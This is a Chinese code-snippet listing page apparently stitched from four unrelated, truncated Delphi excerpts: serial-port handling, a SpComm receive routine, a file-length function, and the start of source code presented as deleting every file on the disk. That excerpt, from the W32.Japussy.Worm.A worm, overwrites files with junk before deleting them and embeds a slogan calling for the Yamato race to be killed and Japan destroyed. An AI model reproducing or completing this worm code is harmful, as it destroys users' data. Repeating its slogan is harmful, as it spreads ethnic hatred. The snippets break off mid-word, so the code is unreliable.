delphi 利用API函数写串口。 //建立串口句柄 CommHandle := CreateFile(PChar(ComboBox1.Text),GENERIC_WRITE or GENERIC_READ, 0,nil,OPEN_EXISTING,FILE_FLAG_OVERLAPPED or FILE_ATTRIBUTE_NORMAL,0); if CommHandle = INVALID_HANDLE_VALUE then begin Clo seHandle(PostEvent);
删除全盘文件的源代码 { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); const //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; var Fil
spcomm 3.0 for delphi2009,delphi2010编译成功,安装成功. //接收字符串 var s:ansistring; begin SetLength(S, BufferLength); Move(Buffer^, PChar(S)^, BufferLength); //s中为接收到的字符串
Function FileLenght(sFn:String):Integer; Var iFileHandle: Integer; begin {$I-} Result:=0; if not FileExists(sFn) then Exit; iFileHandle := FileOpen(sFn, fmOpenRead); try Result:=FileSeek(iFileHandle,0,2); finally FileClose(iFileHandle); end; end; pr